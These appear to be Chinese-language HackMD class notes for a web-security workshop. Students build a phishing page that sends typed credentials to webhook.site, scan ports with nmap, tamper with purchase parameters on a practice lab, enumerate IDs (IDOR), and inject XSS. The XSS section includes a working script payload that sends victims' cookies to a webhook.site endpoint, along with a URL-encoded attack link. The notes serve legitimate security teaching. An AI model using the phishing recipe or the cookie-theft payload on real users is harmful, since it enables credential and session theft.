# 網頁安全 1 :::info 時間:11/21 19:00~21:00 地點:學活中心 3樓 第三會議室 主題:網頁安全 1 簡報: 回饋表單:https://forms.gle/4CnnDjXk6Ub4do5H7 >fei@kiwissec.com[name=飛飛] ::: ## 試算表 https://docs.google.com/spreadsheets/d/1zmp4-gi4B9BTtb2hQW1CLpa8dkWCWd2thpm30rRopEE/edit?usp=sharing ==19:35== 你要完成釣魚網站 ==20:35== 你要完成攔截封包+修改封包內容 ## 釣魚網站三步驟 1. 複製原始碼(模擬哪一個網頁 HTML) 2. 認領自己的 webhook.site 網址 3. 將原始碼+網址貼到 jsfiddle ### 原始碼 - 釣魚網站的原始碼(HTML,CSS) - https://github.com/fei3363/phishing_demo/blob/main/index.html#L102 - 從 webhook.site 中複製屬於自己的網址 - 取代第 36 行跟 102 行  ### 複製 Website URL https://webhook.site/  觀察左邊的內容 可以看到自己輸入的帳號密碼  ### jsfiddle 放 HTML https://jsfiddle.net/    ## 開發人員工具   ### 目的 - 看註解 - 帳號/密碼 (因開發工程師不注意) - API token - API Path - 網頁結構 ### 網路 Network - 觀察封包結構 - 內容 - 步驟 - 瀏覽器 "請求封包" ---> 伺服器 "進行處理" - 伺服器 "回應封包" ---> 瀏覽器 "渲染頁面" - HTML 標籤  ## User-agent - robots.txt - 爬蟲 - 駭客: 直接瀏覽 - 有哪一些路徑可以攻擊 - 伺服器/釣魚網站知道 - 使用設備 - 瀏覽器 - 手機(安卓 iOS) - 被偽造 - 網站依賴 user-agent 驗證 - 可以直接 bypass -  - CTF 題目 - 指定特殊 user-agent - 看到特定畫面 ## 網站 == 房子 房子門、窗戶 --> 網路 port 對應 服務 門牌號碼 --> 霏霏路28 號 --> Domain 域名 23 123 --> 139.162.81.48(IP) (IP) 對應到禹名 DNS `nslookup feifei.tw`  ### 伺服器/IP 開了多少門 - nmap 工具 - 參數 1000 port - 網路世界 65535 - nmap -p- ## 網站世界裡面 - debug 模式沒關 - 資料庫位置 - 帳號 - 密碼 - 網站路徑(區分作業系統) - Windows - C: - D: - E: - Linux - / 根目錄 - /etc/www/html - MacOS ## 重送封包的攻擊手法 - 瀏覽器 - 火狐 Firefox - 工具 - BurpSuite - LAB - http://vullab.feifei.tw - 註冊+登入 - 嘗試購買 - 攔截封包 - 修改封包 - 重送封包 - 步驟 - 正常登入+正常購買 ==> 開發人員工具 - 攔截封包 + 修改封包的內容 - URL 編碼 -  - https://www.urldecoder.org/ - 步驟截圖 - 開啟開發者工具+輸入個數 -  - 確認頁面+確認封包 -  - 開啟指定封包 `post.php` 封包 -  - 點選重新傳送 -  - 往下滑滑到 request body - 請求封包的參數 - 參數跟參數之間利用 `&` 符號串接 - 封包裡面有四個參數 - 非合法參數文字(中文或特殊符號)被 URL 編碼 -  - 竄改參數 -  - 新增新的封包 -  - 針對新增的封包點兩下會跳到新頁面 -  - 確認竄改的內容 -  - 漏洞成因 - 沒有驗證所輸入的參數是否合理 - 不該直接將價格一起放在參數傳送的地方 - 攻擊手法2 - 直接開啟開發人員工具 -  - 修改 readonly 值 - value -  ### 攻擊: 網站裡面有表單 1. 開發人員工具 2. 表單 form 標籤 3. input 標籤 value 更改 4. 送出-->確認後端是否有去驗證 ### 真實範例 - https://zeroday.hitcon.org/vulnerability/ZD-2019-00222 ### IDOR(Insecure Direct Object Reference) - 步驟一:觀察網址參數 - 參數名稱 id - 參數值 1 - 列舉全部的產品 - 後端(程式碼)沒有驗證有沒有權限瀏覽 - 測試產品 - 未上架的產品 - 步驟二:參數如果有流水號,測試 - +1-1 - 抽獎、發票 - 網址列 - 請求 GET - 參數 - ?name=value - 多參數 - ?name1=value1&name2=value2 - -  - 範例 - https://zeroday.hitcon.org/vulnerability/ZD-2020-01252 - https://zeroday.hitcon.org/api/vulnerability/8011/attachments/20ed27cfffcfe90e2ae5aba3800b1b7c ### XSS  - HTML --> 整個頁面被蓋掉 - hack by 飛飛 - HTML injection  - CSS -  - JS -   - XSS 攻擊 - 網站可以渲染 JS 程式語言 - 構造一個攻擊語法 ``` <script>new Image().src="https://webhook.site/6ce82d6e-f233-4445-b9a3-3b9d6ab8d352?data="+document.cookie;</script> ``` - JS 語法 - 瀏覽頁面 - 背景構造一個圖片 - 圖片來源 - 駭客收集路徑+ JS 讀取到大家 Cookie http://vullab.feifei.tw/index.php?username=%3Cscript%3Enew+Image%28%29.src%3D%22https%3A%2F%2Fwebhook.site%2F6ce82d6e-f233-4445-b9a3-3b9d6ab8d352%3Fdata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E ## 小節 - 釣魚網站怎麼做 - 網頁基礎架構 - 前端 - HTML - CSS - Javscript - 後端 - PHP/Python/Nodejs - 前端 vs 後端溝通 - HTTP 協定=寫好遊戲規則(怎麼連線) - 封包架構+封包方法 - 網址 ==> GET 封包 - HTML Form 表單 method 查看封包方法 - 網站的弱點 - XSS - JS - IDOR - 參數沒驗證 - 重新送封包參數內容 商業邏輯漏洞 - 修改參數 - 左右商業邏輯 - 下禮拜(預習) - cookie 機制 - XSS 機制 - SQL injection 資料庫相關漏洞攻擊手法 - SQL map 工具如何使用
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up